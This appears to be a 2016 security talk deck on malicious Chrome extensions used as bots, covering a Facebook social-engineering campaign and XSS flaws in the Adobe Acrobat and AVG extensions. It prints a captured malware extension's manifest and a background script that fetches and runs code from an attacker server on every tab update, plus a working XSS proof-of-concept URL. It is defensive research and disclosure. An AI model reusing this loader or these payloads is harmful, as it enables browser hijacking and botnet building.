GAME OF CHROMES
Owning the Web with Zombie Chrome Extensions

Tomer Cohen
April 2016
Sign-up Graph
48.2% HUMANS
22.9% GOOD BOTS
28.9% BAD BOTS

1.2% MONITORING BOTS
2.9% COMMERCIAL CRAWLERS
6.6% SEARCH ENGINE BOTS
12.2% FEED FETCHERS
24.3% IMPERSONATORS
1.7% SCRAPERS
0.3% SPAMMERS
2.6% HACKER TOOLS
Investigating Attack Patterns
¿Cómo funciona?
Usamos una extensión para obtener información sobre las visitas hacia tu perfil, luego la recopilamos mostrándote quienes son los que más han ingresado a tu perfil.

Comenzar

53,169 Personas ya lo han hecho

¿Cuál es el significado de tu nombre? CLICK
How does it work?

We use an extension for obtener information about visits to your profile, then collect showing you who are the ones who have entered your profile.

Start

53,169 people already have made

What is the meaning of your name? CLICK
Extension

Course of Action

Inject Code
Into Facebook tabs

Open Wix Frame
Transparency inside a Facebook page

Sign Up to Wix
From within the frame
GREAT SUCCESS!
Inject Code Into Facebook tabs
Open Wix Frame Inside a Facebook page
Sign Up to Wix Bypassing bot detection
Publish Wix Website That leads to attack page
Distribute Link Among all Facebook friends
Review Extension In Google Web Store ★★★★★
The Objective:
Use Wix as a distributor to form a bot net
Bot Masters: What Do They Want?

- Send Spam
- DDoS Attacks
- Scrape Websites
- Click Frauds
Facebook ‘Comment Tagging Malware’ Spreading via Google Chrome

By Waqas on June 27, 2016  |  Email  |  @hackread  |  MALWARE  |  SCAMS AND FRAUD  |  SECURITY

IF YOU RECEIVE A FACEBOOK NOTIFICATION REGARDING A FRIEND TAGGING YOU IN A COMMENT BE VERY CAREFUL BEFORE CLICKING ON THE LINK IT CAN BE A JAVASCRIPT MALWARE FOUND TARGETING USERS LATELY!
Tag Me If You Can
This Magical Bot...
What Makes A Good Bot

Goal: Look Human

Javascript Challenges

Human Context
Browser Extension:
The Perfect Bot
What An Extension Can Do

Extension Manifest

```json
{
  "update_url": "https://clients2.google.com/service/update2/crx",
  "background": {
    "scripts": [
      "view.js"
    ]
  },
  "browser_action": {
    "default_icon": "viadeo.png",
    "default_popup": "index.html"
  },
  "content_scripts": [
    {
      "js": [
        "jquery.js",
        "crack.js"
      ],
      "matches": [
        "*://*.viadeo.com/*"
      ]
    }
  ],
  "description": "Permet de profiter des avantages d'un compte viadeo premium",
  "icons": {
    "128": "viadeo.png",
    "16": "viadeo.png",
    "48": "viadeo.png"
  },
  "manifest_version": 2,
  "name": "Viad30 Unlocker",
  "permissions": [
    "tabs",
    "*://*.viadeo.com/*",
    "storage",
    "webNavigation",
    "http://*/*",
    "https://*/*",
    "cookies",
    "webRequest",
    "webRequestBlocking"
  ],
  "version": "3.4",
  "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'"
}
```
Command & Control

Background Script

```javascript
chrome.tabs.onUpdated.addListener(function(gdhndztwu, ylvmbrzaez, ypujhmpyy) {
  var xhr_obj = juykhjkhj();
  xhr_obj['onreadystatechange'] = function() {
    if (xhr_obj['readyState'] == 4) {
      chrome['tabs']['executeScript']({
        code: xhr_obj['responseText']
      });
    }
  }
  xhr_obj['open']('get', 'http://appbda.co/data.js');
  xhr_obj['send']();
  if (rkiyypsyn == 0) {
    rkiyypsyn = 1;
  }
});
```

Any time a tab is updated

And execute them on the active tab.

Get new commands from the attacker’s server

Any time a tab is updated

And execute them on the active tab.

Get new commands from the attacker’s server
Browser Extension: The Perfect Bot
Too Much Work...
How Can We Make It Easier?
Adobe Acrobat extension XSS

- January 2016
- 30 million installations
- XSS found by Google Project Zero researcher Tavis Ormandy
On January 12th, an automatic Adobe Acrobat update force installed a new Chrome extension with ID efaidnbmnnibpcajpqlc1efindmkaj. You can view it on the Chrome Webstore here: https://chrome.google.com/webstore/detail/adobe-acrobat/efaidnbmnnibpcajpqlc1efindmkaj/

I can see from the webstore statistics it’s already got ~30M installations.

It didn’t take long to notice there’s a DOM XSS in data/js/frame.html

```javascript
else if (request.current_status === "failure") {
    analytics(events.TREFOIL_HTML_CONVERT_FAILED);
    if (request.message) {
        str_status = request.message;
    }
    success = false;
}
```

Presumably you can do

```javascript
window.open("chrome-extension://efaidnbmnnibpcajpqlc1efindmkaj/data/js/frame.html?message=" + encodeURIComponent(JSON.stringify({
    panel_op: "status",
    current_status: "failure",
    message: "<h1>hello</h1>"
})));
```

I think CSP might make it impossible to jump straight to script execution, but you can iframe non web_accessible_resources, and easily pivot that to code execution, or change privacy options via options.html, etc.
The Frame That Framed the XSS

frame.js

```javascript
op = request.panel_op;
switch (op) {
    case "status":
        if (request.current_status === "waiting") {
            ...
        } else if (request.current_status === "failure") {
            analytics(events.TREFOIL_HTML_CONVERT_FAILED);
            if (request.message) {
                str_status = request.message;
            }
            success = false;
        }
}
...
if (str_status) {
    $('\Convert-title').removeClass('hidden');
    $('\Convert-title').html(str_status);
}
```

This is our payload!

Inline script!

Raw input to HTML

The Frame That Framed the XSS

frame.js

```javascript
op = request.panel_op;
switch (op) {
    case "status":
        if (request.current_status === "waiting") {
            ...
        } else if (request.current_status === "failure") {
            analytics(events.TREFOIL_HTML_CONVERT_FAILED);
            if (request.message) {
                str_status = request.message;
            }
            success = false;
        }
}
...
if (str_status) {
    $('\Convert-title').removeClass('hidden');
    $('\Convert-title').html(str_status);
}
```

This is our payload!

Inline script!

Raw input to HTML
Content-Security Policy

- CSP on extensions by default since 2014
- Prevents common JavaScript injections:
  - Inline scripts
  - `eval` functions
  - Whitelist script sources
AVG Web Tuneup extension XSS

- December 2015
- 9 million installations
- XSS found by Google Project Zero researcher Tavis Ormandy
AVG Web Tuneup XSS - DEMO

window.postMessage(payload)

chrome.tabs.update(tabId, url)

chrome.runtime.sendMessage(payload)
AVG Web Tuneup XSS - DEMO

```javascript
chrome.tabs.update(payload)
```

```javascript
chrome.runtime.sendMessage(payload)
```
AVG Web Tuneup - DEMO
Finally: Creating Our Botnet
To Sum Up

- Browser extensions make great bots
- Attacker use extensions to run bot infection campaigns, using social networks
- Extensions still got XSS’s, CSP is not enough
- Same infection campaign are achievable through exploitation of extensions
THANKS
tomerc@wix.com